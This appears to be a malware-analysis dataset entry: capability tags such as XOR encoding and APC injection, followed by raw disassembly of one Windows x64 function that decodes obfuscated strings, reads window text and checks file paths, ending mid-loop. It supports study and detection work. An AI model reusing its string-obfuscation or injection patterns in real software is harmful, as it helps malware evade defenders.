Function at 0x14001e3b0
Capabilities:
Check if file exists
Create directory
Create thread
Delete file
Encode data using xor
Enumerate threads
Get common file path
Get file attributes
Get graphical window text
Inject apc
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2040]
mov eax, 0x2140
call fcn.140053080
sub rsp, rax
movaps xmmword [rsp + 0x2130], xmm6
movaps xmmword [rsp + 0x2120], xmm7
movaps xmmword [rsp + 0x2110], xmm8
movaps xmmword [rsp + 0x2100], xmm9
movaps xmmword [rsp + 0x20f0], xmm10
movaps xmmword [rsp + 0x20e0], xmm11
movaps xmmword [rsp + 0x20d0], xmm12
movaps xmmword [rsp + 0x20c0], xmm13
movaps xmmword [rsp + 0x20b0], xmm14
movaps xmmword [rsp + 0x20a0], xmm15
mov rax, qword [0x140098280]
xor rax, rsp
mov qword [rbp + 0x1f90], rax
mov dword [rsp + 0x48], edx
mov rdi, rcx
mov qword [rbp + 0x228], rcx
xor ebx, ebx
mov qword [rbp + 0x12d8], rbx
mov qword [rbp + 0x1490], rbx
call fcn.1400132b0
mov r8d, ebx
test al, al
jne 0x14001e971
movups xmm0, xmmword [str._9w_STS]
movups xmmword [rbp + 0x780], xmm0
movsd xmm0, qword [0x14008b110]
movsd qword [rbp + 0x790], xmm0
mov eax, dword [0x14008b118]
mov dword [rbp + 0x798], eax
movzx eax, word [0x14008b11c]
mov word [rbp + 0x79c], ax
mov r14d, 4
movdqa xmm8, xmmword [str.9999]
movdqa xmm6, xmmword [0x14008c3f0]
movdqa xmm7, xmmword [0x14008c310]
mov esi, dword [0x1400982d8]
cmp esi, 2
jl 0x14001e606
movdqa xmm0, xmmword [0x14008c3d0]
movdqa xmmword [rbp + 0x1320], xmm0
lea rcx, [rbp + 0x780]
mov edx, r14d
mov r9d, dword [rbp + 0x1320]
movdqa xmm3, xmmword [0x14008c3b0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea edx, [rdx + 8]
cmp r8d, 0x18
jl 0x14001e510
cmp r8d, 0x1e
jge 0x14001e653
movsxd rax, r8d
lea r9, [rbp + 0x780]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x14001e620
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], rbx
mov qword [rbp + 0x348], rbx
lea rax, [rbp + 0x780]
mov r15, 0xffffffffffffffff
nop dword [rax]
inc r15
cmp byte [rax + r15], bl
jne 0x14001e680
mov r8, r15
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x330]
call fcn.1400053b0
nop
mov r8d, 0xff
lea rdx, [rbp + 0x330]
mov rcx, rdi
call fcn.1400054b0
nop
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x14001e6f7
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e6f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf3f
call fcn.1400529f0
mov eax, dword [0x14008a810]
mov dword [rsp + 0x70], eax
movsd xmm0, qword [0x14008a808]
movzx eax, word [0x14008a814]
movsd qword [rsp + 0x68], xmm0
mov byte [rbp + 0x330], 0
mov qword [rbp + 0x348], 0xf
mov qword [rbp + 0x340], rbx
mov edx, 0x45
mov word [rsp + 0x68], dx
xor word [rsp + 0x6a], 0x33
xor word [rsp + 0x6c], 0x34
xor word [rsp + 0x6e], 0x35
xor word [rsp + 0x70], 0x36
xor word [rsp + 0x72], 0x37
xor ax, 0x38
mov word [rsp + 0x74], ax
movups xmm0, xmmword [0x14008afb0]
movups xmmword [rbp + 0xcd0], xmm0
movups xmm1, xmmword [0x14008afc0]
movups xmmword [rbp + 0xce0], xmm1
movups xmm0, xmmword [0x14008afd0]
movups xmmword [rbp + 0xcf0], xmm0
movups xmm1, xmmword [0x14008afe0]
movups xmmword [rbp + 0xd00], xmm1
movups xmm0, xmmword [0x14008aff0]
movups xmmword [rbp + 0xd10], xmm0
movups xmm1, xmmword [0x14008b000]
movups xmmword [rbp + 0xd20], xmm1
movups xmm0, xmmword [0x14008b010]
movups xmmword [rbp + 0xd30], xmm0
movups xmm1, xmmword [0x14008b020]
movups xmmword [rbp + 0xd40], xmm1
movsd xmm0, qword [0x14008b030]
movsd qword [rbp + 0xd50], xmm0
movzx eax, word [0x14008b038]
mov word [rbp + 0xd58], ax
cmp esi, 2
jl 0x14001e907
movdqa xmm4, xmmword [0x14008c3c0]
lea rcx, [rbp + 0xcd0]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add ebx, 8
lea rcx, [rcx + 0x10]
lea r14d, [r14 + 8]
cmp ebx, 0x40
jl 0x14001e810
cmp ebx, edx
jge 0x14001e952
movsxd rax, ebx
lea r8, [rbp + 0xcd0]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, bx
sub ax, cx
add ax, 0x32
xor word [r8], ax
inc ebx
lea r8, [r8 + 2]
cmp ebx, 0x45
jl 0x14001e920
mov r9d, 0x10
lea r8, [rsp + 0x68]
lea rdx, [rbp + 0xcd0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x14001f5c7
movups xmm2, xmmword [str._9xZWSQW_e]
movups xmmword [rbp + 0x110], xmm2
movsd xmm0, qword [0x14008b930]
movsd qword [rbp + 0x120], xmm0
movdqa xmm12, xmmword [0x14008c3b0]
movdqa xmm14, xmmword [0x14008c3d0]
movdqa xmm9, xmmword [str.9999]
movdqa xmm7, xmmword [0x14008c3f0]
movdqa xmm8, xmmword [0x14008c310]
movdqa xmm15, xmmword [0x14008c380]
movdqa xmm13, xmmword [0x14008c370]
movdqa xmm10, xmmword [0x14008c350]
movdqa xmm11, xmmword [0x14008c330]
movdqa xmm3, xmmword [0x14008c390]
mov r12d, dword [0x1400982d8]
cmp r12d, 2
jl 0x14001ec93
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x110], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x114]
xorps xmm2, xmm1
movd dword [rbp + 0x114], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x118]
xorps xmm2, xmm1
movd dword [rbp + 0x118], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11c]
xorps xmm2, xmm1
movd dword [rbp + 0x11c], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x120]
xorps xmm2, xmm1
movd dword [rbp + 0x120], xmm2
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm3
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x124]
xorps xmm2, xmm1
movd dword [rbp + 0x124], xmm2
jmp 0x14001ecd2
lea r9, [rbp + 0x110]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14001eca0
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x690], rbx
mov qword [rbp + 0x698], rbx
lea rax, [rbp + 0x110]
mov r15, 0xffffffffffffffff
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x14001ed00
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x680]
call fcn.1400053b0
nop
mov r8d, 0xffff
lea rdx, [rbp + 0x680]
mov rcx, rdi
call fcn.1400054b0
nop
mov rdx, qword [rbp + 0x698]
cmp rdx, 0xf
jbe 0x14001ed74
inc rdx
mov rcx, qword [rbp + 0x680]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ed6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf3f
call fcn.1400529f0
mov qword [rbp + 0x690], rbx
mov qword [rbp + 0x698], 0xf
mov byte [rbp + 0x680], 0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf0
mov rcx, qword [0x14009b9e8]
call qword [sym.imp.USER32.dll_SendMessageW]
cmp rax, 1
jne 0x140022ba5
mov r8d, 0x100
lea rdx, [rbp + 0x1970]
mov rcx, qword [0x14009bc18]
call qword [sym.imp.USER32.dll_GetWindowTextW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x13d0], xmm0
mov qword [rbp + 0x13e0], rbx
mov qword [rbp + 0x13e8], rbx
lea rax, [rbp + 0x1970]
mov r8, r15
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14001ee00
lea rdx, [rbp + 0x1970]
lea rcx, [rbp + 0x13d0]
call fcn.14004a2d0
nop
lea rcx, [rbp + 0x13d0]
cmp qword [rbp + 0x13e8], 7
cmova rcx, qword [rbp + 0x13d0]
mov rax, qword [rbp + 0x13e0]
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0x13d0]
cmova rdx, qword [rbp + 0x13d0]
lea rcx, [rbp + 0x1370]
call fcn.1400488c0
nop
mov r8d, 0x104
lea rdx, [rbp + 0x1650]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1350], xmm0
mov qword [rbp + 0x1360], rbx
mov qword [rbp + 0x1368], rbx
lea rax, [rbp + 0x1650]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14001ee94
lea rdx, [rbp + 0x1650]
lea rcx, [rbp + 0x1350]
call fcn.1400053b0
nop
lea rsi, [rbp + 0x1350]
mov r13, qword [rbp + 0x1350]
cmp qword [rbp + 0x1368], 0xf
cmova rsi, r13
mov r14, qword [rbp + 0x1360]
test r14, r14
je 0x14001ef4d
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x1550]
call fcn.140077e60
lea rcx, [0x1400893e4]
lea rdx, [0x1400893e6]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rbp + rax + 0x1550], 1
inc rcx
cmp rcx, rdx
jne 0x14001ef00
lea rax, [r14 - 1]
mov r8, r15
cmp rax, r15
cmovb r8, rax
add r8, rsi
movzx eax, byte [r8]
cmp byte [rbp + rax + 0x1550], 0
jne 0x14001ef48
cmp r8, rsi
je 0x14001ef4d
dec r8
movzx eax, byte [r8]
cmp byte [rbp + rax + 0x1550], 0
je 0x14001ef32
sub r8, rsi
jmp 0x14001ef50
mov r8, r15
xorps xmm0, xmm0
movups xmmword [rbp + 0x760], xmm0
mov qword [rbp + 0x770], rbx
mov qword [rbp + 0x778], rbx
cmp r14, r8
cmovb r8, r14
lea rdx, [rbp + 0x1350]
cmp qword [rbp + 0x1368], 0xf
cmova rdx, r13
lea rcx, [rbp + 0x760]
call fcn.1400053b0
mov rdx, qword [rbp + 0x1368]
cmp rdx, 0xf
jbe 0x14001efcf
inc rdx
mov rcx, qword [rbp + 0x1350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001efca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf51
call fcn.1400529f0
movups xmm1, xmmword [rbp + 0x760]
movups xmmword [rbp + 0x1350], xmm1
movups xmm0, xmmword [rbp + 0x770]
movups xmmword [rbp + 0x1360], xmm0
mov qword [rbp + 0x770], rbx
mov qword [rbp + 0x778], 0xf
mov byte [rbp + 0x760], 0
movq r13, xmm0
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
sub rax, r13
cmp rax, 1
jb 0x14002bf45
lea r9, [rbp + 0x1350]
movq rcx, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova r9, rcx
mov qword [rsp + 0x50], r9
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov qword [rbp + 0x320], rbx
mov qword [rbp + 0x328], rbx
lea rax, [r13 + 1]
mov r14d, 0xf
lea rsi, [rbp + 0x310]
cmp rax, r14
jbe 0x14001f0fe
mov r14, rax
or r14, 0xf
cmp r14, rdx
jbe 0x14001f0b4
mov r14, rdx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400529f8
test rax, rax
je 0x14002bf51
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14001f0ee
mov ecx, 0x16
cmp r14, rcx
cmovb r14, rcx
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14001f0ce
mov rsi, rbx
jmp 0x14001f0f7
cmp rcx, 0x1000
jb 0x14001f0e6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14002bc58
jmp 0x14001f095
call fcn.1400529f8
mov rsi, rax
mov r9, qword [rsp + 0x50]
lea rax, [r13 + 1]
mov qword [rbp + 0x310], rsi
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], r14
mov r8, r13
mov rdx, r9
mov rcx, rsi
call fcn.1400777c0
movzx ecx, word [0x1400893e8]
mov byte [rsi + r13], cl
mov byte [rsi + r13 + 1], 0
lea rdx, [rbp + 0x1370]
cmp qword [rbp + 0x1388], 0xf
cmova rdx, qword [rbp + 0x1370]
mov r8, qword [rbp + 0x1380]
lea rcx, [rbp + 0x310]
call fcn.140043270
xorps xmm0, xmm0
movups xmmword [rbp + 0x1330], xmm0
mov qword [rbp + 0x1340], rbx
mov qword [rbp + 0x1348], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1330], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1340], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x14001f1d2
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f1cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf4b
call fcn.1400529f0
mov qword [rbp + 0x320], rbx
mov qword [rbp + 0x328], 0xf
mov byte [rbp + 0x310], 0
lea rsi, [rbp + 0x1330]
cmp qword [rbp + 0x1348], 0xf
cmova rsi, qword [rbp + 0x1330]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14001f631
movups xmm0, xmmword [str.qqv]
movups xmmword [rbp + 0xbb0], xmm0
movups xmm1, xmmword [0x14008ab10]
movups xmmword [rbp + 0xbc0], xmm1
movups xmm0, xmmword [0x14008ab20]
movups xmmword [rbp + 0xbd0], xmm0
movups xmm1, xmmword [0x14008ab30]
movups xmmword [rbp + 0xbe0], xmm1
mov eax, dword [0x14008ab40]
mov dword [rbp + 0xbf0], eax
mov r8d, ebx
cmp r12d, 2
jl 0x14001f37a
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xbb0]
mov r14d, 4
mov edx, dword [rbp + 0x1320]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp r8d, 0x40
jl 0x14001f281
cmp r8d, 0x44
jge 0x14001f3c3
movsxd rax, r8d
lea r9, [rbp + 0xbb0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x44
jl 0x14001f390
xorps xmm0, xmm0
movups xmmword [rbp + 0x640], xmm0
mov qword [rbp + 0x650], rbx
mov qword [rbp + 0x658], rbx
lea rax, [rbp + 0xbb0]
inc r15
cmp byte [rax + r15], 0
jne 0x14001f3e2
mov r8, r15
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0x640]
call fcn.1400053b0
nop
mov r8d, 0xff
lea rdx, [rbp + 0x640]
mov rcx, rdi
call fcn.1400054b0
nop
mov rdx, qword [rbp + 0x658]
cmp rdx, 0xf
jbe 0x14001f45a
inc rdx
mov rcx, qword [rbp + 0x640]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f455
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf4b
call fcn.1400529f0
mov qword [rbp + 0x650], rbx
mov qword [rbp + 0x658], 0xf
mov byte [rbp + 0x640], 0
mov rdx, qword [rbp + 0x1348]
cmp rdx, 0xf
jbe 0x14001f4b4
mov rcx, qword [rbp + 0x1330]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f4af
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf51
call fcn.1400529f0
mov qword [rbp + 0x1340], rbx
mov qword [rbp + 0x1348], 0xf
mov byte [rbp + 0x1330], 0
mov rdx, qword [rbp + 0x1368]
cmp rdx, 0xf
jbe 0x14001f50e
mov rcx, qword [rbp + 0x1350]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f509
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf57
call fcn.1400529f0
mov byte [rbp + 0x1350], 0
mov qword [rbp + 0x1368], 0xf
mov qword [rbp + 0x1360], rbx
mov rdx, qword [rbp + 0x1388]
cmp rdx, 0xf
jbe 0x14001f568
inc rdx
mov rcx, qword [rbp + 0x1370]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14001f563
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf5d
call fcn.1400529f0
mov qword [rbp + 0x1380], rbx
mov qword [rbp + 0x1388], 0xf
mov byte [rbp + 0x1370], 0
mov rdx, qword [rbp + 0x13e8]
cmp rdx, 7
jbe 0x14001f5c7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x13d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f5c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf3f
call fcn.1400529f0
xor al, al
mov rcx, qword [rbp + 0x1f90]
xor rcx, rsp
call fcn.1400529d0
lea r11, [rsp + 0x2140]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], rbx
mov qword [rbp + 0x368], rbx
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rsi + r8], 0
jne 0x14001f650
mov rdx, rsi
lea rcx, [rbp + 0x350]
call fcn.1400053b0
nop
lea rcx, [rbp + 0x350]
call fcn.1400135f0
nop
mov rdx, qword [rbp + 0x368]
cmp rdx, 0xf
jbe 0x14001f6b8
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f6b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf4b
call fcn.1400529f0
movups xmm1, xmmword [0x14008a3b0]
movups xmm0, xmmword [str.bVFX_DKPUUO]
movups xmmword [rbp + 0x7d0], xmm1
movups xmmword [rbp + 0x7c0], xmm0
mov byte [rbp + 0x350], 0
mov qword [rbp + 0x368], 0xf
mov qword [rbp + 0x360], rbx
mov r8d, ebx
mov r14d, 4
cmp r12d, 2
jl 0x14001f813
mov edx, ebx
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x7c0]
mov r8d, r14d
mov r9d, dword [rbp + 0x1320]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
